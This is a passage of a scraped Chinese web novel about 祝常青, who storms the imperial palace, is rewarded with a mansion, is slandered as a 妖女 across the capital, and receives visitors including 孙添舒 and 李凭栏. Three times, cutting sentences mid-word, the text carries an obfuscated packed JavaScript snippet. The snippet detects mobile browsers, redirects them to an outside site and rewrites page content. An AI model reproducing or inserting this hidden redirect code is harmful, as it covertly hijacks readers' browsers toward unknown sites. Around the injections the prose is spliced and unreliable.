和余公公对上一眼，转而看向窗外朦胧的雨色，样子有些出神。 静了半晌，泰宁帝才从满案的奏章中抬起头来，不紧不慢地问道：“哦？怎么进来的。” “用剑抵了宫门侍卫的脖子，又用话术骗进来的。” 余公公瞄着泰宁帝的神色，试探道：“从宫门到乾清宫，还有不少侍卫守班，您看……” “胆子还真是大。”像是觉得新奇，他爽朗地笑了两声，大手一挥，“闺阁女子砍伤侍卫，强闯宫闱，这消息够惊骇世俗的了，不必再拦。” 一句话就将祝常青入宫的来龙去脉定死，至于内情事实究竟如何，有心人也只能在私下猜测了。 余公公又问：“外头雨下大了，奴才瞧祝娘子脸色极差，可要命人撑伞？” 泰宁帝不满地皱眉，似乎是怪这个陪伴了自己这么多年的奴才糊涂：“她今日是提剑闯进来的，撑伞？像什么话。” 余公公诺诺称是，低头离开前朝李凭栏含歉地笑了笑，后者默不作声地回以点头，叹口气，把手中热茶放到桌上。 乾清宫外并无侍卫把守。 祝常青拖着利剑靠近时，余公公赶忙从檐下快步走出，冒雨站到她面前。 “诶呦祝娘子！陛下就在跟前了，手里的东西赶紧扔了吧！” 祝常青闻言，恍恍惚惚地瞪圆些眼。 她游离了一路，都快被雨珠打散的意识逐渐回笼，反应过来手里还拎着把剑。 “哐当”一声，她僵硬地张开手掌，顺从地将那重物丢了。 随后犹如行尸走肉，带着镣铐一般，缓慢而艰难地朝大殿走去。 在殿门前站定，没有半刻犹豫，更像是支撑不住。 祝常青整个人往下坠了一段，双膝重重地磕在地上，这雪上加霜的痛意在她满身的伤病中显得微不足道。 她的上半身也渐渐贴去地上，比起跪着，更像是动物自保时的蜷缩。 雨点打在她单薄的脊背上。 十分讽刺，祝常青竟在此刻感到一种轻松。 不用再强撑着，于漫漫的宫道上行走，那滋味，每一步都像踩在开裂的伤口上。 终于能够安宁片刻了，哪怕是跪着。 耳边是淅淅沥沥的雨声，身上很凉，她觉得困倦，眼皮在打架。 一阵脚步声后，外头很久没传来动静，泰宁帝将沾了红墨的毛笔搁在笔山上，朝窗外投去一眼。 这个方向瞧不见半个人影，只有落珠似的串串雨点。 李凭栏焦躁地用指腹摩挲着杯壁，脑中浮现出城郊小院里，那张毫无生气的脸。 “伯父。”他耐不住开口。 李凭栏不是亲人的性子，即使在私下里，也很少用这样的称呼，每每这般，泰宁帝就知道他有事相求。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14524229|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果听李凭栏道：“太医瞧过，说她的髌骨不能再久跪了。” 是在为她求情？ 泰宁帝觉得稀奇，但没有因为这句话生出半点怜悯。 冷哼一声：“跪废了就赐她素舆，命人推着她走，天底下还有不能跪朕的人？” 李凭栏不再说话，殿外的祝常青也悄无声息。 沉默之中，泰宁帝被窗上的雨点砸得心烦。 要是真残了也不方便，他这么想。 于是松口道：“行了，让人把她扶起来吧。” 他本意是让余公公去做，不料话音刚落，李凭栏就站起身，风风火火地走了出去。 在门外候着的余公公也吓了一大跳，眼见着世子殿下不管不顾地冲进雨里，他这个当奴才的哪还坐得住，拎着把伞就急忙跟上去。 即将沉睡之际，祝常青感到自己的手臂被人拽住，往上拖去。 那人的力气不大，却执拗地想把她拉起来。 祝常青没有多余的力气去反抗，随他将自己的手臂摆到何处，整个人还是沉沉地伏在地上。 头顶的雨似乎小点了…… “起来。” 一道冷硬的声线打断了她本就不活跃的想法。 无需辨认，祝常青就能听出这是李凭栏的声音。 那张令她十分不顺心的脸庞不由分说地闯进脑海，一眼就将她打回了现实。 这是皇宫内，还不能睡。 祝常青，还不能睡。 她眼睫轻颤，眼睛还没完全睁开，另一只手就撑去了地上。 李凭栏发觉她细微的动作，加大手上力道，扶住她另一边的肩膀，别扭地将人拉了起来， 天旋地转间，祝常青被身后之人扶得很稳。 她睁开眼，雨景飘渺，而自己浑身湿透。 襦裙浸了大片大片的泥水，贴在肌肤上，她知道自己后腰处的伤口裂开，定然染了血污。 不待她多分辨，殿内传来威严雄厚的声音。 “祝常青，你强闯宫闱，为何只跪，不说所求？” 祝常青张嘴好几次，发现嗓子已经哑了，许久才找回声音：“整个乾清宫只有四人，陛下所想便是臣女所说。” “至于臣女自己的请求，还望陛下从轻发落今日的宫门侍卫。” 在乾清宫发生的事情，不会有第五个人知道。 泰宁帝要的不过是祝常青强行进了乾清宫的事实，至于她究竟做了什么说了什么，就看圣上是如何昭告天下的了。 从头到尾，她心中只有无奈，除了对宫门前阻拦她的那群侍卫。 是他们倒霉，偏在今日被排班，要遭受这无妄之灾。 她不想有人因她而死。 “退下吧。”泰宁帝道。 祝常青方要动身，膝盖却传出针扎似的疼痛，她无法控制地又要倒下去。 幸而被李凭栏提了一把，才堪堪站住。 这里头到底有他一份功劳，李凭栏瞧着她狼狈的模样，一时间不知道该说什么。 刚想问问她还能走吗，就见祝常青突然想起什么似的，殷切地朝自己看来。 李凭栏下意识眨了两下眼，不自在地问：“何事？” “张立瑞……”祝常青盯着他的眼睛，迫切道，“张立瑞还跪着呢，快让他回去！” 李凭栏拎着她手臂的力道不由加重，皱眉，难以置信地反问： “你让我去？” 18. 十八章 祝常青一时愣住，咂巴咂巴嘴，总算觉出几分不合适，还没想好要怎么说。 在两人身后撑伞的余公公赶忙走上前，依旧伸长着臂不敢让他们淋到雨，和气地笑道：“世子说笑，老奴这就命人送张大人出宫。” 李凭栏从他手中接过伞，看着余公公冒雨远去的背影，脸色总算缓和一些。 抿了抿唇，快速瞥了身侧半死不活的姑娘一眼，淡淡道：“走吧。” 祝常青被他半架着往外带，内心很是无奈。 明明几个时辰前还对着李凭栏怄气，放狠话时拿他跟狗比。 结果世事无常，一转头还得靠人扶着才能功成身退，祝常青觉得脸疼。 索性不再想眼下的窘迫，思绪又飘回乾清宫。 她今日闹了这么一出，冯决方的事肯定不会善了，等她跨出宫门，这消息大抵就会跟长了腿似的跑遍京城。 张立瑞跪宫门，祝常青闯宫闱，一个恃功而骄，一个挟恩图报，逼着圣上处置冯家忠臣。 先不说朝堂上的那群人精，单论平头百姓，他们会怎么看她？ 那可是冯家啊，世代功臣，百姓眼中毋庸置疑的英雄豪杰。 竟然就这样被她一个旧年罪女拖下了水。 “妖女？祸水？”祝常青兀自呢喃，“迫害功臣的名声，连陛下都担不起，竟然让我给顶了。” 在朝为官，要懂得揣度圣上心意，然身处草野，便显得随心所欲。 甚至连帝王时常都会掣肘于百姓，想在坊间留下美名，就得仁慈，赏百姓所爱戴之人，罚百姓所厌恶之官。 很多事情他不能亲自去做，只好借一把刀，让自己的双手保持干净。 祝常青觉得可笑，讽刺在喉间化作难耐的瘙痒，她撇过头咳嗽起来。 每一下都有来自五脏六腑烧灼般的疼痛。 李凭栏对宫里的路熟悉，带着她走的是一条人烟稀少的近道。 四下无人，他也不是死守礼节的君子，直接在她背上很轻地拍了两下，替她顺气。 祝常青微微弓着腰，咳得仿佛要将心肝全呕出来，身上没一块干的地方，衣裙上更是大片大片的血迹。 李凭栏圈着她的臂膀，让她不至于脱力摔倒，把伞往她的方向倾了许多，自己大半个身子淋在雨里。 心头突然涌出一股无措。 他做事向来不问对错，只论好坏。 而此刻，像是怜悯泛滥，良知受损，他竟然想，自己是不是真的做错了。 哪怕现下的一切都如同设想中一样，进行得无比顺利。 冯决方大难临头，冯党元气大伤，局势动荡，是洗牌的大好时机。 他不是不知道，这条路上必定会有人受伤，甚至牺牲。 他原以为这是无关痛痒的，身处皇权中心，血和泪他见过太多。 而李凭栏高估了自己。 当祝常青在他面前痛得直不起腰来时，无动于衷是一件太难的事情了。 “不要为它们而死。” 祝常青还以为自己听错了，愣了几瞬，连咳嗽都忘却。 反应过来确实是李凭栏在说话，想明白他刚刚说了什么后，难以遏制地笑起来。 一边笑一边咳嗽，更疼了，疼得她直冒泪花。 她在这一刻确定，李凭栏其实也是个懦弱无能的人。 但他的话说中了祝常青。 她不会为了那些污名而死。 在蜀平，即便希望渺茫，她会为了自由安稳拼命一搏。 但在这，权势、钱财、名望，京城所引以为傲的一切，都不值得她为此付出生命。 她会活下去。 - 余公公撑了把小伞回到乾清宫，身上沾染寒气，只敢在门槛外候着。 泰宁帝背对而立，微微仰头观赏壁上挂着的巨幅山水画，好一会儿才问：“祝常青出宫了？” 余公公忙应：“是，世子殿下送着上马车了。” 泰宁帝低低“嗯”一声，转过身吩咐：“赐她一套三进十二间的宅子，牌匾朕会亲自题写。” 随后又伸手捞起案上摆放的一条三品金花带，指腹随意摩挲了两下便扔回去：“把这也一同送去。” 余公公应了，又道：“吏部孙大人已经在殿外，问小冯大人该如何处置。” “他想法多，在京城不安生。”泰宁帝道，“冯氏在陇西有旁支，将他降职外派去那儿吧。” 余公公正要退下，却见泰宁帝突然抬起头来，目光从那条腰带移到老太监脸上，莫名道：“凭栏那孩子大了。” 余公公：“世子毕竟二十有一了。” 泰宁帝若有所思地点头：“前几年一说到亲事就跟我打马虎眼，不能再由他胡闹了。孙尚书家似有个还未出阁的小女儿？” - 京都这几日的街头巷尾，茶楼酒馆，全都响当当地聊着同一个名字—— 祝常青。 也正如她所料，这些人对她的评价没有半句好话。 一来，她身为女子，三番五次搅入朝堂之事，抛头露面，是为不守妇道。 二来，她红颜祸水，蛊惑君王，竟将小冯大人一举赶出了京。 三来，她深受皇恩，一朝之间就坐拥了一座地段极佳的大宅院，那是多少人几辈子也修不来的福分。 总而言之，如今全京城公认的只有一句话：祝常青不是个好姑娘。 甚至更有义愤填膺的男子，昼夜不停地在她宅前咒骂，扔烂菜叶和臭鸡蛋。 祝常青原不打算理会，直到有天看到丹珠红着眼回来，身上满是残羹剩饭。 不用想也知道是怎么一回事。 她忍无可忍，扔了手上的药碗，到院中提了丹珠煮下来的一箩筐废药渣。 方靠近宅门，就听到外头有一道醉醺醺的男声： “这祝家的臭娘们到底有什么本事？长了张漂亮脸蛋就是好使，这么大的宅子，她配住在里面吗……嗝！叫我说，小冯大人才是真的冤，冯家那是何等的……” 祝常青边走近，边用眼神示意门前的小厮将门打开。 外头的日光刚泄进来一寸，她就毫不手软地将箩筐里的东西泼出去。 只听一声杀猪般的惨叫。 那男子抹掉脸上气味难闻的污垢，骂街还没来得及出口，就因面前的景象傻了眼。 一姑娘立在朱门前，身姿傲然，睥睨众人，她身后的高宅大院在此刻犹如一只巨兽，安宁地匍匐在她的脚边。 只消一眼，所有人都能明了，她就是这座宅子的主人。 祝常青随手又将那箩筐砸了出去，喝道：“听好了，这宅子是陛下所赐，头顶‘祝府’的牌匾亦是陛下亲笔，你站在这儿骂我这个祝府当家，与指着鼻子骂陛下无异。” “你说的不错，我就是妖女祸水，等我去陛下面前告上一状，你这脑袋……哦不，不必等我面圣，我当日既能砍伤宫门侍卫的，杀你一个草包更是绰绰有余！” 草包男子听到此酒已经醒了大半，被祝常青阴恻恻地打量着，顿时吓得腿软。 嘴里一边喊着“救命”，一边装疯卖傻地跑远了。 在门口看热闹的人也不少，一时间全都呆傻。 怎么说祝常青也是高门贵族里养出来的，他们还从未听闻哪家的闺女有如此泼辣。 场面寂静了许久，直到一孩童发出响彻云霄的哭喊，众人才作鸟兽四散。 祝常青刚要回身，却听身后传来一道调笑的嗓音：“什么时候成悍妇了。” 只见杜宸安带着小厮从不远处的马车上走下来，两个小厮手上都提满了用红纸包裹的物件。 祝常青嗤笑一声，往宅子里伸了伸臂，作主人迎宾状：“我当你是在夸我了。” “本来就是在夸你。”杜宸安走到跟前，向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14544440|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他行了一揖，继续调侃，“明日京中怕是就要传，祝家娘子如罗刹，夜能止小儿啼哭。” 祝常青领着他往宅子里走，不屑道：“只要别再来烦我，传我爱吃人肉喝人血都无所谓。对了，你今日怎么来了？” 自上回祝常青被杖刑昏迷后，两人还是头一回见，却默契地没提前嫌，一笑了之。 杜宸安命小厮将东西在堂内整整齐齐摆放好：“男子成家立业后开府，亲朋好友都会携礼前去拜访，我想都是一样的，就过来了。” 说到底不过是替她撑撑场面。 和离后的女子在婆娘两家都成了外人，独自居住倒有先例。 像祝常青这样，未嫁为人妇，却独开一府的，闻所未闻，难免受人非议。 祝常青明白他的好意，笑着谢过，请他落座。 杜宸安接过她递来的茶，品了一口，发觉味道十分一般，想起她小时候对茶艺一道确实毫无兴趣。 掩饰地咳嗽了两声，不动声色地把茶杯放下，随口闲谈：“你义兄那儿的情况如何，可有书信往来？” 祝常青喝了口茶，也默默地放下，点头道：“前两日刚有封来信，战况不错，就是还记挂着蜀平的事儿，我已经回信，想来他能放心了。” 丹珠这时候刚换完新的衣裳回来，祝常青连忙将她召到跟前，确认无碍后让她帮忙重新沏壶茶。 杜宸安笑着摇了摇头，忽然想起什么：“对了，圣上似乎要给李凭栏和孙家四娘子赐婚。” 祝常青一愣：“赐婚？” 怎么会在这个节骨眼上赐婚，她蹙眉，下意识问：“吏部孙尚书的女儿？” 杜宸安点头：“说来这孙娘子也是个奇人，传闻自小就精通算卦，但也因此有些愁嫁。你怎么想？” 祝常青没什么想法，满心满眼的都是结党营私：“那孙尚书以后也是我们的人了？不过他似乎与冯氏走得颇近。” 杜宸安并不能完全理解她怎么会把孙尚书算到自己的阵营里来，除非她认为李凭栏与他们完全是一条线上的人。 但李凭栏扮演的明明是罪魁祸首一般的角色，她身为受害人，本不该对他有这样下意识的信任。 杜宸安没有过多纠结，直言：“我也不能确定，也许陛下是想趁冯党人心不稳，将孙家扳正。” 祝常青不知想到了什么，突兀地对着杜宸安严肃的脸笑起来。 杜宸安被她笑得不安，问：“做什么？” 祝常青捧着脸，不怀好意道：“我在想，陛下会不会趁此机会将你的婚也给赐了，还有哪位大人家里有待字闺中的女儿呢……” 杜宸安气红了脸：“祝常青！” 杜宸安拜访后的第二日，张立瑞也携礼来了。 他已是四品官员，一身崭新的官服，派头十足，精气神看上去很是不错。 不过拎来的礼物仍是医馆里配的红枣，但这回足足有五大包。 他不肯进宅坐坐，祝常青没强求，命她说了几句吉祥话，便放他走了。 有这二人打头，京中一些小官像是嗅到了肥肉，争先恐后地前来拜访。 希冀得到祝娘子青眼，好做第二个张立瑞，一步登天。 就连一些明面上隶属冯党的官员，都暗戳戳地命人抬来了贺礼，两头不吃亏。 祝宅的库房快要安不下，祝宅的主人对着礼单看得眼花缭乱。 前一天清点礼品到深夜，这日祝常青干脆睡至日上三竿。 丹珠见怎么也唤不醒自家娘子，不得不破门而入，一边摇着她，一边急道：“娘子别睡了！又有人来了！” 祝常青迷迷糊糊道：“送礼的抬去库房就好。” 丹珠快急哭了，语无伦次：“不只是送礼，是位娘子，说来拜访您！” “娘子？”祝常青睁开眼，总算清醒些，“哪来的娘子，什么娘子？” 丹珠：“说是孙府四娘子！” 19. 十九章 孙府的四娘子？那个会算卦的孙添舒！ 祝常青“噌”一下从床榻上弹起，抹了把脸，整个人清醒过来。 她只穿一件中衣，磕磕绊绊地下了地，将丹珠往门外推：“赶紧去给孙娘子泡壶茶，把人稳住，我梳妆完就来！” 背后的屋门“砰”一声合上，丹珠被震得闭了闭眼，心道这孙娘子果然来头不小，于是不敢耽搁，提着衣裙朝外跑去。 祝常青认真将自己捯饬了一番，快步走在去往前厅的小道上，还是想不通孙添舒怎么会亲自找上门来。 若真是孙尚书授意，那他们家弃暗投明的速度倒也令人叹为观止。 厅堂里熏了暖香，祝常青方踏进门槛，视野中便闯进一穿着明艳的娘子。 那姑娘瞧着不过二八年华，鹅蛋脸，柳叶眉，头上发髻繁复，簪了不少珠钗。 许是等待太久的缘故，坐姿有些散漫，手中捏着几枚铜钱拨弄，百无聊赖。 听见门口传来动静，才呆呆地扭过头，瞧到祝常青的第一眼，琉璃珠似的双眸霎时亮起来。 意识到自己失态，孙添舒颇为克制地站起，咬了咬唇，柔柔福身：“见过祝娘子。” 京中贵女见面理应互相行礼，不知是不是太久没跟女子打交道，天天混迹在朝堂里的缘故，祝常青竟下意识冲她一抬手，免了她的礼。 两人均是一愣。 祝常青反应过来，额角跳了跳，正要解释。 却见孙添舒笑意更甚，一副并不觉得冒犯的模样。 看来是个好相与的。 祝常青便也不多纠结，咳了两声，寒暄道：“不知孙娘子到访，有失远迎。” 孙添舒也跟着客套：“家父命小女携礼前来，未曾提前知会，失礼之处望祝娘子海涵。” 两人你来我往地推拉着，祝常青觉得不大爽利，却不敢贸然失了礼数。 重新请她上座，又叫丹珠上了盘糕点，才微笑着试探：“令尊大人有心，连我这样的小人物都放在心上。” 孙添舒没同她客气，就着茶水咬了一口糕点，说话前再次清嘴，才道：“京中可再没有比祝娘子更出名的姑娘了。” 她似是没听懂祝常青的言外之意，说话时语气诚恳，但偏偏所谓“出名”出的不是好名。 究竟是无心还是暗讽。 祝常青一时摸不准她的态度，只好淡淡勾起唇角，一边埋头喝茶，一边想旁的话术。 孙添舒身为尚书之女，被宴请去别府拜访游玩已是常态，却从未像今日这般自在过。 堂内拢共三名女子，没有那些爱吹胡子瞪眼的父辈，暖香袅袅，连桌上的茶点都是时下姑娘们最钟意的。 她特意留心，发现祝常青走路阔步，喝茶不用衣袖掩面，坐姿也不够端庄，俨然不把贵女的礼仪当回事。 像是受其感染，孙添舒不动声色地让自己的脊背松懈下来，恢复到最舒适的样子。 这便是女子当家作主吗？她在心里嘀咕着，三两下就吃完了手中的糕点。 这头祝常青还等着探她的底，一杯茶水喝得心里七上八下，但见人吃糕点吃得认真虔诚，又不好打断，只能默默等着。 “祝娘子，我实话同你说了吧。”孙添舒这句交心话来得猝不及防。 祝常青把脸扭过去，静静听着，搞不明白这丫头到底是什么路数。 吃个糕点的功夫，怎么就要敞开心扉了？ 孙添舒自顾自道：“来前家父交代了一箩筐的话，我眼下忘得也差不多了，总之就是想告诉你，孙家不与冯氏为伍，我们跟你！” 这话说得有点儿像话本里写的桃园结义，好似拍拍胸脯决定生死相随，祝常青不知道她一闺阁女子哪学来的江湖义气。 被那双亮得出奇的眼睛盯着，忍俊不禁地问：“为何？” “为何？”孙添舒下意识重复了这两个字，随后煞有介事地环视厅堂一圈，神秘兮兮地从袖口中摸出什么东西来，抛在桌上。 “啪嗒。” 小物件清脆地落下，祝常青看清楚了，是几枚铜钱。 人为财死，鸟为食亡。 是个无法反驳的理由，与那些送礼来的冯党没什么不同。 但局势尚不明了，这么着急站队可不是聪明人的选择，毕竟瘦死的骆驼比马大，冯党即使有失圣心，也不是那么好对付的。 万一冯直大将军还有挂帅出征的那一天呢。 跟错了人，选错了路，就是万劫不复。 然而孙添舒的话却完全在她的意料之外：“我算了君臣卦，卦象上说，跟着你有出路。” 祝常青被她自下而上窃笑地看着，一时间不知道该先震惊哪一个才好。 是震惊传闻中不过爱好算卦的孙家四娘子竟能仅凭几枚铜钱勘破天机； 还是孙尚书真的信了自家女儿无根无据的卦象，要将整个家族命运交付到她的手里； 亦或是，孙添舒以君臣相称的僭越。 按照轻重缓急之分，祝常青果断选择了最后者。 她伸出食指，将桌上的铜钱扫回孙添舒面前，脸色严肃冷淡：“天下只有一位君，你这话放出去，整个孙家会和我一起掉脑袋。” 孙添舒闻言霎时蔫了下去，将几枚被摸得油光发亮的铜钱藏回袖口：“一个人要追随谁，自然认谁作君主。算了，你也不喜欢这样的话，那我以后不说便是了。” 她自我调节的速度挺快，没一会儿就悠闲地继续吃茶了。 明明要带的话都已经带到，不知怎么就是赖着不想走。 直到糕点吃到撑不下，她才依依不舍地行礼告别。 祝常青这回长了个心眼，没再闹出笑话，同样福身作礼。 她前脚刚将孙添舒送到门口，瞧着人上了马车，刚转过半个身的功夫，后脚李凭栏就火急火燎地赶来了。 他身上是刑部当值时的藏青官服，身后并未带侍从，眉心微微蹙着，只身前来。 祝常青有些诧异，见他双手空空，说话不自觉带刺：“李大人怎么这个时辰来，礼可是还在路上？” 李凭栏一噎，看她还有闲心说笑，眉头缓缓解开，回敬道：“还以为那日将祝娘子从宫里搬回这祝府能充一充本官的乔迁之礼，想来府上这几天日日都有金蟾蜍跳入，祝娘子是瞧不上昔日薄情了。” 昔日薄情？祝常青觉得此人的脸皮不是一般的厚。 她依旧在门口挡着，丝毫没有要请他进去坐坐的意思，语气不虞：“李大人的账小女自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14588149|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一笔一笔记着，决不敢忘。” 气氛不大好，李凭栏自知说多错多，止了闲聊的话头，问她：“孙四娘子方才来过？” 祝常青刚想问与你何干，一拍脑门总算是想起来：这两人是圣上要指婚的未婚夫妇呐！ 方才叫那些算计算卦的糊了心，怎么把这茬给忘了。 她赶忙如实道：“才走不久。” 李凭栏又问：“她来做什么？” 祝常青莫名，但还是答：“投诚。” “你觉得如何？” 祝常青以为他问的是孙添舒这人如何。 女子婚嫁毕竟是人生大事，更何况那姑娘要入的还是安亲王府。 泼天的富贵亦有难言的艰险。 忆起杜宸安曾言孙四娘子因痴迷卦术而愁嫁。 祝常青便想着为她说几句好话：“我瞧着蛮好的，人长得十足娇俏，性子也好，机灵但心计不多……” 李凭栏越听越不对劲，直接打断她：“你在说什么？” 无奈对面一副“所言属实”的神情，李凭栏闭了闭眼，解释：“我问的是，你觉得孙家此举如何。” 祝常青先是愣了下，然后一连“哦”了好几声，脸都有些涨红。 她到底还未出阁，方才又像是当起了媒人，总有几分难堪，咳了两声，正经道：“孙四娘子态度倒是恳切，但不知孙尚书是什么想法。不过既然是姻亲，一荣俱荣一损俱损，应当不会使诈吧。” 李凭栏听他三句话不离自己那八字还没一撇，却已闹得满城皆知的婚事，心里气不打一出来。 敏锐地抓住了她话里的漏洞：“孙四娘子又不是要嫁到你祝府，谁同你一荣俱荣，一损俱损？” 祝常青狠狠一怔。 对啊，安亲王府从头至尾干干净净，顶多用脚尖沾一沾这趟浑水。 李凭栏是泰宁帝的人，不过是替圣上出面，胁迫她再帮助她，一个巴掌再给颗枣。 她怎么总以为他和自己是一条战线的呢。 “我是想说别对孙家掉以轻心。”方才李凭栏话出就有些后悔，对着祝常青落寞的神情，语气不免弱下去，听着有些心虚。 “多谢大人提醒，我会从长计议。”祝常青朝他拱手，态度不咸不淡。 反正孙添舒今早到访祝府的事实已经板上钉钉，在外人看来两家交好是大势所趋，也只能走一步看一步。 眼下还是上值时辰，头上又有顶婚约的帽子压着，李凭栏不便和她说太多。 见她有送客的意思，识趣地不再多话，先行告辞。 祝常青冷着脸回了府。 这些天官老爷们该送的礼都送了，该见的面都见了，府里总算清闲下来。 她在内厅堂里支了张贵妃榻，趴在上面算人情，一笔一笔记在账簿上，样子很不成体统。 算到日落黄昏，丹珠突然进来，瞪着双眼无措地看向自家娘子。 祝常青单手撑着脸，扭头问：“怎么了？” 丹珠道：“又有大人派小厮送贺礼来了。” “哪位大人，消息如此不灵通，连送礼都比旁人慢。”祝常青一边下榻穿鞋，一边懒洋洋地问。 丹珠打了个磕巴：“说是……安亲王府的。” 20. 二十章 祝常青足下一绊，将右脚的那只鞋踢出去老远。 手扶在榻边，单脚站立着，泥塑木雕般呆呆抬起脸。 主仆二人面面相觑，在这种尴尬而诡异的沉默中大眼瞪小眼。 好半天，祝常青才反应过来似的，默默跳着将鞋子捡回来。 穿着得当后装作无事发生的模样：“走吧，去看看安亲王府送了什么稀罕宝贝来。” 两人走至前院，只见五六个小厮围在一块嬉笑，有眼尖的喊了声：“祝娘子康安！” 其余人得了提醒，才陆陆续续地噤声，散到两旁。 他们这么一散，原先被围在中间的大物件就显现在眼前。 是个将近有一人长的红木箱子，雕花精美，远远的就有股草木香气袭来。 离那东西还有几步远，祝常青就站着不肯动了，嘴角抽搐。 心道：李凭栏这是送了副棺材来？不至于吧？是想暗示她什么？ 越想越觉得心惊。 丹珠见自家娘子脸色苍白，担忧地扯着她的衣袖晃了晃，对送礼来的那两个小厮问道：“这究竟是什么东西？” 安亲王府的家丁也是一头雾水，讪讪讨好：“禀这位娘子，不是小的们故意为难，是世子吩咐了，得让祝娘子亲自打开。” 叫她亲自打开？ 祝常青直觉这里头绝对有诈，万一一掀开，里头真是具尸体，她要如何收场？ 然祝常青不动，在场的其余人更不敢动。 局面一时僵持不下。 李凭栏这个挨千刀的！ 祝常青在心里怒骂一句，咬着牙，突然以迅雷之势上前，两手扣住那箱子的上盖边缘，用力一挥。 “砰”的一声巨响。 红木盖子掉在地上，扬起一阵尘土，祝常青下意识将头往旁边扭开。 丹珠和几名小厮半眯起眼，伸长脖子探去，一面怕里头真是什么不得了的东西，一面又有止不住的好奇。 “娘子，这好像……是株树苗？” 丹珠不确定的声音在耳边响起，祝常青被飞尘迷了眼，却仍转回脸艰难地观察。 箱子里头还真安安静静地躺着棵长势不错的树苗。 她缓出口气：不是躺着具尸体就好。 有小厮乐道：“安亲王府送的礼还真稀奇，小的这两日跟着娘子金银珠宝全见识了个遍，倒是头一回见树。” 丹珠问：“这是什么品种的树？” 他们的目光不约而同落在送礼来的那两个家丁身上，却见后者同样迷茫地摇了摇头。 祝常青这些年在外见识了不少，但在花草一事上并无什么造诣。 心里还回荡着劫后余生的庆幸，哪有功夫管一棵树的品种，挥挥手道：“正好院子里空着，把它种了吧。” 府上的小厮不多，种树又是项力气活，安亲王府的家丁自觉留下来帮忙。 两个挖坑，两个搬树，两个填土，祝常青和丹珠在一旁指挥，院子里一时间相当热闹。 等这热闹事彻底结束，天也黑了大半。 夏夜正是最舒爽的时辰，他们一人搬把竹椅，在院子里围坐着。 口干舌燥的小厮们打着蒲扇喝凉水，祝常青和丹珠则在暮色下静静地看着那株生机勃勃的树苗。 “娘子。”丹珠的声音很轻，她问，“这树要长多久才能像京郊院外那棵一样高大？” 祝常青不大确定：“我也不知，短则三五年，长则十年百年吧。” 年轻的姑娘若有所思地点了点头，脸上缓缓浮现出一种幸福的红晕，声音更弱了：“丹珠会守着娘子，直到这棵树长得比从前那棵更高大。” 两人挨得很近，即便丹珠声如蚊蚋，祝常青依旧听得清楚。 心中不免泛起一些苦涩。十年树木，她哪里还看得到这棵树的盛景，届时，不在陵江便在地府。 她避重就轻地笑答：“万一它真得长百年可怎么办，你不要嫁人了？” - 京城流言中，和安亲王府世子的婚约一同不胫而走的，还有祝常青妖女的名声。 这种沾染了神魔鬼怪的故事最叫百姓津津乐道，传得久了远了，更是一天一个样。 昨个还说她是狐妖化形，今天又讲她是煞星降世，一条街有一条街的传法，个人有个人的观点。 但不管怎么说，只一点毋庸置疑，祝家娘子绝非善类。 有了醉汉闹事的前车之鉴，倒是没人敢再来她门前明着对呛。 可京城这地方，弯弯绕绕的全是街巷，四面漏风，流言就在风里轻飘飘地来，再血淋淋地走，乐此不疲。 祝常青难得重新当起闺秀，恪守大门不出二门不迈的准则，对外头的血雨腥风不屑一顾。 丹珠没她那种心性，每每去外头做事，回来时必定气得满脸涨红，时间久了，便也不常出门。 但她们不招摇，不代表别人不招惹。 这不，一大早的，就有人往祝府递宴帖来了。 时至夏至，花草开得正艳，高门贵女中又盛行起了赏花宴。 翰林学士家的陈娘子打头阵，早早张罗了起来。 丹珠对着那张请帖左瞧右瞧，怎么看都觉得是场鸿门宴，担忧地问：“娘子，您要去吗？” 祝常青用热茶润了润嗓。 她正愁这段时日过得太清闲，刀锋都快钝了，不早点把这乱麻斩了，她怎么回去。 于是果断道：“不仅要去，还得唯恐天下不乱地去。” 她从库房里挑了最奢华的绸缎，命人拿去制衣，丹珠擅描妆，就让她学最时新的妆面。 忙前忙后了好些天，总算捱到了赏花宴的日子。 陈氏的府邸里，京中有头有脸的娘子们齐聚一堂，满室馨香，品茶闲话，谈笑风生。 一娘子四下张望了一番，笑吟吟地开口：“我瞧竟还有座席空着，不知是哪位妹妹来得这般迟？” 其余人闻言都静下来，发现右列的末座上还真空荡荡的，但巡视一圈，又不觉得缺了谁。 主位上的陈娘子适时道：“应当是祝娘子还未到。” 左列首座的那位娘子轻蔑地哼笑一声。 立马有人上赶着帮腔：“我道是谁呢，原是那位大名鼎鼎的妖女，陈娘子怎把她给请来了？” “就是，也不怕那妖风将院里的花花草草都吹坏了！” “听她常在朝堂里抛头露面，不知来不来得惯我们这种女儿家的宴席。” 几人不屑地轻笑起来。 